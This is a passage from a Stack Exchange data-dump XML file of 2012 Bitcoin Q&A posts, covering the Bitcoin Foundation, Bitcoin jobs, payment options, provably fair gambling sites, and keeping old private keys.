wallet, you should go ahead and tell the seller that the address is correct and they can send the full amount.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-28T13:27:23.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4856" PostTypeId="1" AcceptedAnswerId="4862" CreationDate="2012-09-28T13:33:33.843" Score="3" ViewCount="215" Body="&lt;p&gt;The &lt;a href=&quot;https://www.bitcoinfoundation.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Foundation&lt;/a&gt; launched recently. What is it all about and what are its goals?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2021-04-04T10:00:31.200" Title="What is the Bitcoin Foundation?" Tags="|development|news-coverage|project|bitcoin-foundation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4857" PostTypeId="1" CreationDate="2012-09-28T13:58:32.097" Score="-1" ViewCount="166" Body="&lt;p&gt;What does BitCoin suggested is the best App for iPhone?&lt;/p&gt;&#xA;" OwnerUserId="1954" LastEditorUserId="5406" LastEditDate="2014-02-09T09:29:22.473" LastActivityDate="2014-02-09T09:29:22.473" Title="iPhone app for bitcoin" Tags="|wallet|" AnswerCount="1" CommentCount="1" ClosedDate="2012-11-23T15:01:00.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="4858" PostTypeId="1" AcceptedAnswerId="4867" CreationDate="2012-09-28T14:33:13.293" Score="13" ViewCount="1516" Body="&lt;p&gt;Say I want to use a Bitcoin expertise I have and turn that into a career. Is there any website listing job offers related to Bitcoin that I could use? Alternatively, if I am someone looking for Bitcoin-savvy people to employ, where should I start looking?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="1842" LastEditDate="2012-10-11T15:37:41.417" LastActivityDate="2016-05-22T16:55:30.097" Title="Where can I find a Bitcoin-related job?" Tags="|job|market|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4859" PostTypeId="2" ParentId="4013" CreationDate="2012-09-28T14:39:17.340" Score="3" Body="&lt;p&gt;BlockChain.info now provides a list of &lt;a href=&quot;http://blockchain.info/hub-nodes&quot; rel=&quot;nofollow&quot;&gt;hub nodes&lt;/a&gt;.  The top entries from that list are all well connected.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-28T14:39:17.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4860" PostTypeId="2" ParentId="3961" CreationDate="2012-09-28T14:42:09.753" Score="1" Body="&lt;p&gt;BlockChain.info now provides a list of &lt;a href=&quot;http://blockchain.info/hub-nodes&quot; rel=&quot;nofollow&quot;&gt;hub nodes&lt;/a&gt;.  While there is no guarantee they will relay your transactions, connecting to several will likely ensure your transactions are propagated to many peers quickly.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-28T14:42:09.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4861" PostTypeId="1" CreationDate="2012-09-28T15:57:13.423" Score="2" ViewCount="304" Body="&lt;p&gt;Is there a way that I can set up my account to have my customers pay for services rendered in dollars directly into my bitcoin account via an online electronic funds transfer from their bank account?&lt;/p&gt;&#xA;" OwnerUserId="1955" LastEditorUserId="132" LastEditDate="2012-10-01T20:30:00.770" LastActivityDate="2012-10-01T20:30:00.770" Title="Receiving dollars directly into bitcoin wallet?" Tags="|wallet|exchanges|services|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4862" PostTypeId="2" ParentId="4856" CreationDate="2012-09-28T16:09:31.257" Score="3" Body="&lt;p&gt;The Bitcoin Foundation is a non-profit corporation started by some of the most respected members of the Bitcoin community created to accelerate the global growth of Bitcoin. They follow the model of open source bodies like the &lt;a href=&quot;http://www.linuxfoundation.org/&quot; rel=&quot;nofollow&quot;&gt;Linux Foundation&lt;/a&gt;, or the &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor Project&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The foundation at the moment consists of five board members. During the first term the board consisted of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gavin Andresen&lt;/li&gt;&#xA;&lt;li&gt;Jon Matonis&lt;/li&gt;&#xA;&lt;li&gt;Charles Shrem&lt;/li&gt;&#xA;&lt;li&gt;Mark Karpeles&lt;/li&gt;&#xA;&lt;li&gt;Peter Vessenes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The goals of the Foundation from their &lt;a href=&quot;https://www.bitcoinfoundation.org/about/&quot; rel=&quot;nofollow&quot;&gt;About page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To standardize Bitcoin - &quot;As a non-political online money, Bitcoin is backed exclusively by code. This means that—ultimately—it is only as good as its software design. By funding the Bitcoin infrastructure, including a core development team, we can make Bitcoin more respected, trusted and useful to people worldwide.&quot;&lt;/li&gt;&#xA;&lt;li&gt;To protect Bitcoin - &quot;Cryptography is the key to Bitcoin’s success so far. It’s the reason that no one can double spend, counterfeit or steal Bitcoins. If Bitcoin is to be a viable money for both current users and future adopters, we need to maintain, improve and legally protect the integrity of the protocol.&quot;&lt;/li&gt;&#xA;&lt;li&gt;To promote Bitcoin - &quot;In the context of public misunderstandings, misinterpretations and misrepresentations, Bitcoin needs to be clearer about its purpose and technology. Allowing the community to speak through a single source will enable Bitcoin to improve its reputation.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any person or corporation can join the Bitcoin foundation. Asides providing their name and address, one needs to pay their fees. For individual level, those are (effective as of 2012 07 23):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;25 BTC for a lifetime membership&lt;/li&gt;&#xA;&lt;li&gt;2.5 BTC for an annual membership&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Companies can also apply by paying the following fees:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;500 BTC for annual Silver Membership&lt;/li&gt;&#xA;&lt;li&gt;2500 BTC for annual Gold Membership&lt;/li&gt;&#xA;&lt;li&gt;10000 BTC for annual Premier Membership&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each level of membership allows an individual or corporation one vote in each of their respective voting class.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-09-29T13:19:57.473" LastActivityDate="2012-09-29T13:19:57.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4863" PostTypeId="2" ParentId="4861" CreationDate="2012-09-28T16:21:05.720" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; appears to have an all-in-one solution that allows you to set up a &lt;a href=&quot;https://bitpay.com/bitcoin-payment-gateway-api&quot; rel=&quot;nofollow&quot;&gt;store checkout&lt;/a&gt; in a lot of different currencies that will be handled through the use of Bitcoins. As I don't have a hands-on experience with that, I can't vouch for how the system works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another convenient way of setting up a payment system would be to use &lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;BitInstant&lt;/a&gt; which allows a user to quickly convert cash into Bitcoins through a variety of ways. It does not appear to be as automated as BitPay though, and you would have to handle your own payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you can encourage your users to get their Bitcoins through more traditional means, such as the use of &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Exchanges&lt;/a&gt;. This option also requires you to handle the payments by yourself.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-28T16:21:05.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4864" PostTypeId="2" ParentId="4857" CreationDate="2012-09-28T16:53:53.713" Score="1" Body="&lt;p&gt;Bitcoin does not suggest anything, it is a currency and a project, not a person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the choice of an iPhone app is limited by the factor that probably what you'd want to see the most, a wallet app, is not possible on iPhone due to Apple's restrictions.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-28T16:53:53.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4866" PostTypeId="2" ParentId="4861" CreationDate="2012-09-28T18:14:56.567" Score="0" Body="&lt;p&gt;You can accept payments through OKPay.  The funds received can be used to purchase bitcoins at several exchanges which accept OKPay transfers (including Mt. Gox, and  others).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.okpay.com/en/services/accept-payments&quot; rel=&quot;nofollow&quot;&gt;https://www.okpay.com/en/services/accept-payments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the U.S., most consumers don't have &quot;bill payment&quot; where they can push an ACH transaction to any arbitrary bank account number.  There are several intermediaries which offer a bill payment option for businesses such as utilities and other businesses in which the funds are &quot;pulled&quot; from the customer's bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smaller businesses can accept the &quot;customer push&quot; payments capability by accepting PayPal, but the problem is those PayPal funds aren't easily moved to Bitcoin exchanges.  As a result, Dwolla becomes a good alternative -- as Dwolla funds received can be easily moved to Bitcoin exchanges.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-28T18:14:56.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4867" PostTypeId="2" ParentId="4858" CreationDate="2012-09-28T19:32:59.030" Score="9" Body="&lt;p&gt;You are describing, the new cottage industry -- that of The Bitcoin Specialist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of skills that can be combined to become self employed providing Bitcoin-related services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is profit that can be made when trading bitcoins in-person.  There are hundreds of individuals who are signed up with LocalBitcoins and offer this personal buying and/or selling service.  Adding a fee or offering an exchange rate in your favor from five to fifteen percent versus the market rate is not uncommon, though that is temporary as competition will bring the rates more in line with market prices over the long run.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is the need for IT security assistance.  It could be as simple as helping a person understand two-factor authentication and setting up Google Authenticator to secure access to the user's exchange account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Individuals who don't know what an &quot;air gap&quot; is might be willing to pay to be shown how to create an offline paper wallet using a LiveOS on a system that has no network connectivity -- purposely disabled for security purposes.  Or set up an Armory offline wallet and demonstrate how it is used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitAddress.org&quot;&gt;http://www.BitAddress.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinarmory.com/index.php/using-offline-wallets-in-armory&quot;&gt;http://bitcoinarmory.com/index.php/using-offline-wallets-in-armory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More and more Bitcoin-related services, including #bitcoin-otc marketplace, MPEx, and FastCash4Bitcoins.com for example, require GPG. Setting that up for people (and showing how to back up the GPG private key) is a needed support service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Online there are people who simply want to move their funds from their own wallet to an EWallet and can't be bothered with updating the software and/or waiting for the blockchain to finish downloading.   But they might be willing to attach their wallet.dat (if encrypted) or upload it (via https) to someone offering wallet transfer services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are people locally who might be interested in speculative trading who would pay for the education -- not just market-timing trading on the exchanges but perhaps investing on MPEX, or ICBit.se (futures) as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be individuals who would love to play BitLotto, bitZino and SatoshiDICE but don't know what &quot;provably fair&quot; means.  So being able to demonstrate why these can be considered &quot;provably fair&quot; and explain how they can be used is a service that gamblers might pay for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is just one of the components in the tool chest.  Just as knowing Bitcoin very well opens some doors, knowing other privacy-enhancing technologies can be valuable as well.   Tor and to a lesser extent mesh networking are two other skills a Bitcoin technology consultant will want to have expertise in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be people willing to transact on the dark net but they don't already have the technical ability to do so.  Having someone local who is familiar with the steps (e.g., install Tor, install GPG, coin mixing, etc.) and can perform assistance in getting set up, in-person, is a valued service.  [Though be careful, and don't offer this service unless you really know your stuff.]  Consider joining or starting a CryptoParty:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.CryptoParty.org&quot;&gt;http://www.CryptoParty.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Local escrow is another service.  A person might not trust an online escrow but if they already know who you are, in real life, they might be more willing to use you as escrow for a trade.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhat related to escrow is to act as a buyer's agent.  For instance, someone is buying something from a seller in your town and wishes to ensure a good transaction.   So you accept the buyer's payment and then you meet the seller to inspect the goods before shipment. If the items are in working order you settle up (paying cash to the seller), and the shipment goes out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, now that ASICs are just about to ship, a person can provide tech services to non-technical people.  The BFL equipment will still need a host, whether it is a Raspberry Pi or a desktop computer.  Unlike GPU and to a lesser extent FPGAs, the ASIC equipment does not require strong technical skills.  A miner can be set up in minutes, with only periodic maintenance.  Because there is not much heat produced nor any extraordinary connectivity requirements, ASIC mining is once again putting mining back in the range of capabilities of a typical slightly ambitious person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just look at all the ways bitcoins are used and there are unmet needs all over the place.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-10T21:57:59.330" LastActivityDate="2012-10-10T21:57:59.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4868" PostTypeId="2" ParentId="4854" CreationDate="2012-09-28T20:01:13.150" Score="3" Body="&lt;p&gt;This is probably a test transaction by the seller to confirm that you are able to receive funds at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the Bitcoin.org client, a transaction for that test transaction should appear under transactions and it should get at least one confirmation (or preferably several) before you confirm that you received it.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-28T20:01:13.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4869" PostTypeId="1" AcceptedAnswerId="4871" CreationDate="2012-09-28T20:27:41.193" Score="15" ViewCount="3619" Body="&lt;p&gt;Through the spread of Bitcoin for the purposes of online gambling, the concept of &quot;provably fair&quot; games came more into the limelight. Which of the Bitcoin-powered gambling websites are provably fair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity's sake, a provably fair game is a game that uses cryptographic algorithms to ensure their players that the game host or other players did not temper with the outcome of the game after it has begun.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-03-25T12:21:58.840" Title="Which Bitcoin-powered gambling sites are &quot;provably fair&quot;?" Tags="|websites|cryptography|gambling|gaming|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4870" PostTypeId="2" ParentId="4052" CreationDate="2012-09-28T23:10:08.887" Score="4" Body="&lt;p&gt;I preordered 3 jalapenos. I made a calculation about the net profit with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If right now a ATI card of about 150 USD gives about 350MH/s and produces about 0.125 BTC/day, a new Jalapeno costs is 150 USD with 3.5GH/s, so it should produce about 1.25BTC/day, and be like having 10x ATI cards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it will deliver a little less, because the cost of energy is lower with the Jalapeno.&lt;/p&gt;&#xA;" OwnerUserId="1959" LastEditorUserId="-1" LastEditDate="2012-10-01T18:34:58.863" LastActivityDate="2012-10-01T18:34:58.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4871" PostTypeId="2" ParentId="4869" CreationDate="2012-09-28T23:25:04.353" Score="11" Body="&lt;p&gt;BitLotto was likely the first blockchain-based &quot;provably fair&quot;.  It uses the transaction ID as the &quot;ticket&quot;, and the results of a large government-run lottery to determine the winning numbers.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitLotto.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitLotto.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;SatoshiDICE became a blockbuster (pun intended) method for online gambling.  It uses the transaction ID to determine the &quot;lucky number&quot; (between 0 and 65,535).  The secret used for determining that lucky number is revealed after the end of the day.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.SatoshiDICE.com&quot; rel=&quot;nofollow&quot;&gt;http://www.SatoshiDICE.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;bitZino gets credit for coining the term &quot;provably fair&quot;, and first launched an online blackjack game then followed it up first with video poker and then roulette as well.  The game allows the user to change the client seed used for each play.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitZino.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitZino.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BitJack21 was possibly the first.  The game gives the ability for the player to change the seed used for each hand.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitjack21.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitjack21.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BitDice.com, SatoshiRoulette.com and others claim to be provably fair, I believe.  But I haven't gone through the verification steps myself to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitLotto and SatoshiDICE wagers can be verified by anyone at any time after the results are published in BitLotto's instance, and after each day's secret is published for SatsoshiDICE's instance.  Proving that bitZino always computed the results correctly requires logging of the hash, the client seed, and also the way the hand was played -- so it is much more effort to verify unless there is automation but no automated solutions for verifying all wagers on bitZino have been made available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an article on what provably fair means:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.forbes.com/sites/jonmatonis/2012/08/31/bitzino-and-the-dawn-of-provably-fair-casino-gaming&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/sites/jonmatonis/2012/08/31/bitzino-and-the-dawn-of-provably-fair-casino-gaming&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is one explaining how it works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinreviewer.com/provably-fair/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinreviewer.com/provably-fair/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional sites in which claim to be provably fair but I've not gone to verify:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.satoshibet.com&quot; rel=&quot;nofollow&quot;&gt;http://www.satoshibet.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitMillions.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitMillions.com&lt;/a&gt;  (Apparently uses as a seed a Twitter sequence?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.KingCo.in&quot; rel=&quot;nofollow&quot;&gt;http://www.KingCo.in&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitcoinVideoCasino.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitcoinVideoCasino.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Playt.in&quot; rel=&quot;nofollow&quot;&gt;http://www.Playt.in&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitino.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitino.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pinballcoin.com&quot; rel=&quot;nofollow&quot;&gt;http://www.pinballcoin.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blockchainroulette.com&quot; rel=&quot;nofollow&quot;&gt;http://www.blockchainroulette.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.diceoncrack.com&quot; rel=&quot;nofollow&quot;&gt;http://www.diceoncrack.com&lt;/a&gt;   (Uses transaction hash just like SatoshiDICE, so should be easily to verify)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;***&lt;/strong&gt;]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="12294" LastEditDate="2014-01-16T16:47:16.770" LastActivityDate="2014-01-16T16:47:16.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4872" PostTypeId="1" AcceptedAnswerId="4875" CreationDate="2012-09-29T06:44:42.553" Score="11" ViewCount="1105" Body="&lt;p&gt;Let's say someone (person A) starts using Bitcoin and in a period of time eagerly publishes some of their randomly generated (eg. by the Satoshi client) receiving Bitcoin addresses on formus, sends some other addresses to some people etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old keys are now associated with person A, and in a couple of years, some people might want to send person A some funds; they might find one of these old addresses (on an old forum post or in an old private Bitcoin address book) and use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But by now, A has moved on to using another wallet instead of the original Satoshi client, and moved all their funds there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't this mean that A will forever have to keep track of all the original (non-deterministically generated) private keys of all the addresses that he might have sent, or made available, to other people, and keep importing them into new wallets whenever he moves to a new wallet system, and keep backing them up (safely), etc.? This seems very tedious and error-prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's recommended to use a new address for each new transaction, but that's in no way enforced, and more importantly, it's out of person A's control -- it's all the other people that might want to send them money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem will be less important in the future (eg. with deterministic key generation that requires only the seed to be backed up), but someone using the Satoshi client extensively and freely in the past might never be able to make a clean cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is this a real problem or do I understand things incorrectly? Maybe there's a simple (and safe) workaround, or maybe this is not so cumbersome after all?&lt;/p&gt;&#xA;" OwnerUserId="1304" LastEditorUserId="196" LastEditDate="2013-04-20T11:58:34.370" LastActivityDate="2013-04-20T11:58:34.370" Title="Will I need to keep track of my old private keys forever?" Tags="|private-key|import|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4873" PostTypeId="2" ParentId="4872" CreationDate="2012-09-29T07:25:28.960" Score="0" Body="&lt;p&gt;In theory, you should keep all of your keys that you believe someone could use to send you money. It might be through importing them into a new wallet, or just keeping the old wallet and occasionally checking on it. If you just use a few of the addresses, you might be inclined to just import those into your new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this problem is not that major yet, there are few other solutions you can use. It is possible that in the future the clients will have an &quot;archive wallet&quot; option, where you'd dump all of your old wallets and it would keep track if you get any new coins there without cluttering up your main wallet, or some online service functioning akin to an eWallet.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-29T07:25:28.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4874" PostTypeId="2" ParentId="4872" CreationDate="2012-09-29T08:56:13.753" Score="1" Body="&lt;p&gt;Mt. Gox is the first to offer it but a wallet sweeping service is what will solve this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to (or need to) abandon a wallet, you can either transfer the keys using a bunch a technical steps, or you can upload the wallet.dat to a service that will watch it and if any funds are received, sweep those funds to an account or Bitcoin address in your control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until Mt. Gox builds a UI to accommodate it, this wallet.dat upload feature is only possible using the API.  You can already import private keys individually using either the API or the browser/UI.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-29T08:56:13.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4875" PostTypeId="2" ParentId="4872" CreationDate="2012-09-29T12:02:12.827" Score="3" Body="&lt;p&gt;I think the core of the problem is that we call base58-encoded public key hashes &quot;addresses&quot;, no matter whether people are willing to accept payments to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, they are just identifiers for a public key - something internal in Bitcoin's technology. Humans shouldn't ever see them, unless they are debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi originally didn't intend to use the current base58 addresses as &quot;payment destination&quot; - he thought pay-to-IP (where the public key was negotiated on the spot) would be the common way of doing transactions. The pay-to-pubkeyhash-via-P2P was only added later for cases where the receiver was offline. Pay-to-IP had several problems, and became obsolete, but it had a lot of advantages compared to what we have now. I think the solution is going back to something like that, like a pay-to-URI where again keys are negotiated at the time of the transaction. It means you're always sure the key used is still active, private keys don't need to be retained forever, no key is ever reused (better for Bitcoin's privacy model) and you instantly get support for attaching messages or refund information to transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, people will probably keep the private keys anyway, for example in an archive wallet like mentioned in other answers to this questions. But in my opinion, it shouldn't be a disaster when people don't.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-09-29T12:02:12.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4876" PostTypeId="1" AcceptedAnswerId="4877" CreationDate="2012-09-29T13:54:10.333" Score="7" ViewCount="8522" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3896/how-to-findout-the-sender-of-a-transaction&quot;&gt;How to findout the sender of a transaction&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I am trying to use blockchain.info API to receive a payment and store the sender's address. However, the API only indicates the transaction hash, not the sender's address. Perhaps this is simply ignorance about the BTC Protocol, but &lt;strong&gt;how can I find the sender's address from any given transaction hash?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two API's I am using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/api/blockchain_api&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-18T01:18:34.297" Title="How can I find the sender's address from the transaction hash?" Tags="|payment|api|" AnswerCount="1" CommentCount="0" ClosedDate="2012-11-25T02:28:26.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="4877" PostTypeId="2" ParentId="4876" CreationDate="2012-09-29T14:24:08.157" Score="5" Body="&lt;p&gt;You can for example check the Block Explorer's info about a given transaction. For example, given transaction &lt;a href=&quot;http://blockexplorer.com/tx/1c480aad976c61b51ae47401a554b09f65efe6f95f644041f838d9129e09167c&quot; rel=&quot;noreferrer&quot;&gt;1c480aad976c61b51ae47401a554b09f65efe6f95f644041f838d9129e09167c&lt;/a&gt;, you can see that the only input was associated with address 1HnjAo2nbHGFDto86smcFiF3uUwfvNJ4cS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, generally you should avoid using transaction inputs for basically any purpose - they do not uniquely identify a user, sending Bitcoins back to the user might be problematic with just this information and so forth.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-29T14:24:08.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
